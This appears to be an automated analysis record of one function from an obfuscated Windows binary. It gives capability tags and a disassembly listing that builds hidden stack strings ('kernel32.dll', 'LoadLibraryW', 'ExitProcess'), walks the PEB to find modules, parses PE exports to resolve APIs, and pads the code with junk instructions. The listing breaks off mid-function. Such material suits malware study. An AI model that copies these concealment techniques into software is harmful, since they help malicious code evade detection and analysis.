Function at 0x48443e
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
pop es
dec edi
inc ecx
inc ebp
inc esi
dec edi
inc ebx
sub eax, 0xea28
pop eax
push ecx
add ecx, 0xb735
call 0x483e47
add byte [0x3f364633], dh
cmp byte [ebx - 0x38a6fb3c], al
test dword [ebp + esi*8 + 0xffff], esp
add byte [eax], al
push edi
xor edi, 0x11d52
jmp 0x483e63
or edi, 0x142b0
pop edi
push eax
push edx
add esp, 4
jmp 0x483e74
add eax, 0x15a2e
add eax, 0xbc86
and eax, 0x2c90
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ecx
push ebx
add esp, 4
and ecx, 0x16f8
pop ecx
push eax
push esi
add esp, 4
or eax, 0x440a
xor eax, 0x19e9
sub eax, 0xab66
add eax, 0x1204a
pop eax
push edx
or edx, 0xc12a
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push esi
call 0x483fb4
add byte [esp + esi], dh
dec ebx
aaa
dec ebx
inc edi
dec edi
add esp, 4
xor esi, 0x15a21
and esi, 0x1b89
xor esi, 0xb00f
pop esi
push edi
or edi, 0xd39c
and edi, 0xbd46
pop edi
push ebx
xor ebx, 0x13681
xor ebx, 0x86a3
and ebx, 0x127c5
pop ebx
push eax
push edx
add esp, 4
xor eax, 0xe9b6
add eax, 0x13bcc
or eax, 0xdc4c
add eax, 0xaf4b
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edx
xor edx, 0xf809
pop edx
push edi
or edi, 0x8c9e
jmp 0x484047
pop edi
push ecx
push edx
add esp, 4
add ecx, 0x9055
call 0x484060
add byte [edx + 0x4f], cl
xor dh, byte [ecx*2 - 0x3b7cb2c8]
add al, 0x59
cmp dword [ebp - 0x14d4], 0
jne 0x48407c
mov dword [ebp - 0x2e0], 0
jmp 0x484338
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
or edi, 0xb297
jmp 0x48409a
pop edi
push edi
push esi
add esp, 4
call 0x4840af
add byte [0x3f3c5046], dh
dec ebp
inc ebx
inc edi
add esp, 4
xor edi, 0x11876
jmp 0x4840bf
pop edi
cmp dword [ebp - 0xc20], 0
jne 0x4840d8
mov dword [ebp - 0x2e0], 0
jmp 0x484338
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
call 0x4840f5
add byte [edi + ecx*2], dh
inc ebp
push eax
dec esp
dec ebx
dec ebx
dec esi
dec esi
add esp, 4
call 0x484106
add byte [ebx], bh
push eax
aas
dec eax
dec ebp
cmp byte [eax], bh
dec edx
add esp, 4
jmp 0x48410f
sub edi, 0x13d49
pop edi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edi
sub edi, 0x1fe2
xor edi, 0x12ba6
pop edi
push esi
or esi, 0xb2b0
call 0x484165
add byte [ebx + 0x4f], cl
push eax
inc ebp
xor dh, byte [ebx + eax*4]
les eax, [esi + ebx*2]
push ebx
push ebx
add esp, 4
sub ebx, 0x13685
pop ebx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push esi
push edi
add esp, 4
sub esi, 0x358a
or esi, 0x159f8
pop esi
push edx
push eax
add esp, 4
or edx, 0x77eb
pop edx
push edi
and edi, 0x7494
xor edi, 0x140f5
sub edi, 0x82ce
pop edi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x484224
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x484287
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x484143
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x484143
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x484271
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x48427b
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x4842d0
push edi
push eax
add esp, 4
and edi, 0x6dd9
call 0x4842a7
add byte [edi], dh
dec esi
cmp byte [ebp + eax*2 + 0x49], al
add esp, 4
jmp 0x4842b3
xor edi, 0x15df7
pop edi
push eax
add eax, 0x14c1d
pop eax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x484338
push ecx
push eax
add esp, 4
sub ecx, 0x15b8a
sub ecx, 0xbc1a
or ecx, 0x16de1
pop ecx
push edi
add edi, 0x70d9
pop edi
push edx
push ecx
add esp, 4
and edx, 0x47d3
add edx, 0x3ad5
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x48432e
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x4840e4
mov dword [ebp - 0x2e0], 0
push ebx
or ebx, 0x13d9b
pop ebx
push eax
push ebx
add esp, 4
sub eax, 0x12b8d
xor eax, 0x185f8
xor eax, 0x9991
pop eax
push eax
push ebx
add esp, 4
add eax, 0x16624
or eax, 0x16be
pop eax
cmp dword [ebp - 0x2e0], 0
jne 0x484c83
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edx
and edx, 0x140ba
and edx, 0x3915
call 0x484429
add byte [edx], dh
cmp dword [ebx + 0x3b], ecx
xor dh, byte [0x5a04c483]
push ecx
call 0x48443e
add byte [ecx + 0x41], cl
dec ebp
inc ecx
xor edi, dword [esi]
dec esp
inc ebp
xor al, 0x41
add esp, 4
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edi
push edx
add esp, 4
add edi, 0x12a81
call 0x4844db
add byte [edi], bh
cmp eax, 0x4b3b4750
add esp, 4
call 0x4844ec
add byte [edx], bh
inc ebx
push eax
aaa
inc esi
aaa
dec edx
dec edx
add esp, 4
add edi, 0x1083f
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x48450e
mov dword [ebp - 0x6ec], 0
jmp 0x4847ca
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push esi
push esi
add esp, 4
and esi, 0xaac7
call 0x48453b
add byte [ebx + 0x3e], al
inc edx
dec ebx
cmp byte [ecx + 0x3d], al
xor eax, dword [ebp + 0x40]
add esp, 4
and esi, 0x8ce9
pop esi
push edi
push esi
add esp, 4
jmp 0x484551
pop edi
cmp dword [ebp - 0xc2c], 0
jne 0x48456a
mov dword [ebp - 0x6ec], 0
jmp 0x4847ca
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edx
jmp 0x48457e
call 0x48458d
add byte [edx], bh
cmp dword [ebp + 0x4e], ecx
cmp ecx, dword [eax + 0x4e]
xor al, 0x33
add esp, 4
xor edx, 0x1414a
call 0x4845a4
add byte [esi], bh
inc ebx
dec edi
inc esi
dec ebp
dec edx
inc edx
inc ecx
add esp, 4
pop edx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push eax
xor eax, 0x4aa4
xor eax, 0x63ac
or eax, 0xf4ad
pop eax
push eax
push ecx
add esp, 4
and eax, 0xb792
and eax, 0x8ab7
xor eax, 0x7a3
or eax, 0x15c6a
pop eax
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
jmp 0x484669
pop edx
push esi
push edx
add esp, 4
xor esi, 0xd5ff
pop esi
push edi
add edi, 0x18203
or edi, 0xb447
jmp 0x48468c
and edi, 0x1070
pop edi
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x4846b6
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x484719
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x4845d5
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x4845d5
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x484703
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x48470d
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x484762
push edx
push ebx
add esp, 4
add edx, 0x60e5
call 0x48473c
add byte [ebx], bh
cmp eax, 0x43493933
cmp eax, 0xc4833836
add al, 0x81
ret 0xbf94
push edx
jmp 0x48476b
pop edx
push edx
push ecx
add esp, 4
and edx, 0x340d
pop edx
push ecx
jmp 0x484781
and ecx, 0xd842
pop ecx
push edi
push eax
add esp, 4
add edi, 0x18438
pop edi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x4847c0
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x484576
mov dword [ebp - 0x6ec], 0
push edi
or edi, 0x1318f
sub edi, 0x1203f
add edi, 0x1b8f
add edi, 0x9123
pop edi
push esi
push ebx
add esp, 4
or esi, 0xf2c
and esi, 0x17f9c
or esi, 0x10898
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x484846
push esi
add esi, 0xb457
sub esi, 0x16b52
sub esi, 0xc02a
add esi, 0x3794
pop esi
push esi
push eax
add esp, 4
add esi, 0x5479
pop esi
push ecx
push edx
add esp, 4
and ecx, 0x96ea
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x48536d
push ecx
push edx
add esp, 4
and ecx, 0x6727
pop ecx
push edx
sub edx, 0x131c2
sub edx, 0x3f73
pop edx
push edi
push ebx
add esp, 4
or edi, 0x84b5
or edi, 0xcd9b
or edi, 0xe4df
pop edi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x4848b7
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x484ba8
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x4848df
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x484ba8
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x484911
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x484ba8
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x484936
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x484ba8
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x484990
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x484b9c
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x484a00
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x484ab2
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x484ab2
push eax
push edx
add esp, 4
add eax, 0xcf95
or eax, 0x4669
pop eax
push edx
push edi
add esp, 4
jmp 0x484a4c
sub edx, 0x15794
sub edx, 0x144e0
sub edx, 0x11e46
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x484aa4
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x484aab
jmp 0x4849f1
jmp 0x484ab2
push ecx
and ecx, 0x177c9
and ecx, 0x7585
and ecx, 0x12c4
pop ecx
push eax
push edi
add esp, 4
and eax, 0x30fa
xor eax, 0xf232
add eax, 0x10583
or eax, 0x5df6
pop eax
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x484b11
mov dword [ebp - 0xc30], 0
jmp 0x484b80
push eax
push ecx
add esp, 4
add eax, 0xcfa0
and eax, 0xd74f
jmp 0x484b28
pop eax
push eax
xor eax, 0xbe12
and eax, 0x6337
sub eax, 0x15e1e
and eax, 0x14204
pop eax
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x484b76
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x484b80
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x484b97
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x484ba8
jmp 0x484981
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x484c83
push ebx
push esi
add esp, 4
add ebx, 0x80df
and ebx, 0x7a6
or ebx, 0x1a4a
pop ebx
push esi
add esi, 0xcb5c
pop esi
push edx
push esi
add esp, 4
and edx, 0x20c8
xor edx, 0x76de
pop edx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
and esi, 0xc888
xor esi, 0x17254
jmp 0x484c06
pop esi
push eax
jmp 0x484c10
pop eax
push edi
jmp 0x484c17
and edi, 0x1598d
jmp 0x484c24
pop edi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x484c83
push ebx
add ebx, 0xd520
and ebx, 0xc20d
sub ebx, 0xa27d
pop ebx
push ecx
and ecx, 0x14c31
pop ecx
push edi
jmp 0x484c67
pop edi
push ecx
push edi
add esp, 4
add ecx, 0xbcca
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x48536d
push edx
sub edx, 0xa125
pop edx
push ecx
and ecx, 0x144ff
and ecx, 0x13693
pop ecx
push ebx
sub ebx, 0x17f5
and ebx, 0x3494
and ebx, 0x18525
jmp 0x484cb4
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ecx
jmp 0x484ce4
pop ecx
push edx
push edi
add esp, 4
sub edx, 0x16754
sub edx, 0x9ac4
sub edx, 0x17060
pop edx
push eax
push edi
add esp, 4
jmp 0x484d07
add eax, 0x7495
pop eax
cmp dword [ebp - 0x14f4], 0
jne 0x484d26
mov dword [ebp - 0x2e0], 0
jmp 0x484fcd
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ecx
push esi
add esp, 4
and ecx, 0x13011
and ecx, 0xd3d3
and ecx, 0x2e5f
xor ecx, 0x284c
pop ecx
push edx
add edx, 0x466a
and edx, 0x1473a
and edx, 0x49df
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x484d82
mov dword [ebp - 0x2e0], 0
jmp 0x484fcd
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ecx
push edi
add esp, 4
and ecx, 0x11ff0
pop ecx
push edx
push edx
add esp, 4
xor edx, 0x8f8a
or edx, 0x4539
jmp 0x484db1
pop edx
push eax
xor eax, 0x7140
sub eax, 0x17681
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push ecx
add esp, 4
add esi, 0x7f71
and esi, 0x13b07
sub esi, 0x822e
pop esi
push ebx
push edi
add esp, 4
jmp 0x484e0f
sub ebx, 0x4748
and ebx, 0x12693
pop ebx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edi
call 0x484e81
add byte [edx + 0x3e], al
inc edx
cmp al, 0x3e
cmp cl, byte [ebp - 0x7d]
les eax, [edi + ebx*2]
push edx
push eax
add esp, 4
add edx, 0x699b
pop edx
push edx
or edx, 0x10c
or edx, 0x9130
add edx, 0xb1a0
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x484ec2
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x484f1c
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x484dea
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x484dea
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x484f06
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x484f10
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x484f65
push ebx
push eax
add esp, 4
jmp 0x484f30
and ebx, 0xdd6
or ebx, 0x4da6
pop ebx
push ebx
and ebx, 0xc466
or ebx, 0x901d
pop ebx
push ecx
push eax
add esp, 4
sub ecx, 0xe892
pop ecx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x484fcd
push edi
add edi, 0x15828
jmp 0x484f74
call 0x484f83
add byte [esi + 0x3b], al
xor eax, dword [edi + 0x3a]
dec esi
dec ecx
dec ebp
add esp, 4
jmp 0x484f8e
pop edi
push edi
sub edi, 0x17fd7
pop edi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x484fc3
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x484d8e
mov dword [ebp - 0x2e0], 0
push eax
sub eax, 0x3fae
and eax, 0x11c50
xor eax, 0xcbda
pop eax
push edi
add edi, 0x10c92
xor edi, 0xd1ba
call 0x484ffb
add byte [ebx + 0x33], cl
cmp dword [ecx + 0x3c], eax
cmp cl, byte [ecx - 0x7d]
les eax, [edi + ebx*2]
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
push edi
add esp, 4
sub ebx, 0x10ce3
xor ebx, 0x92c
or ebx, 0x14eee
pop ebx
push ecx
and ecx, 0x166cf
xor ecx, 0x17317
xor ecx, 0xec92
xor ecx, 0x15901
pop ecx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne fcn.00485070
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x485361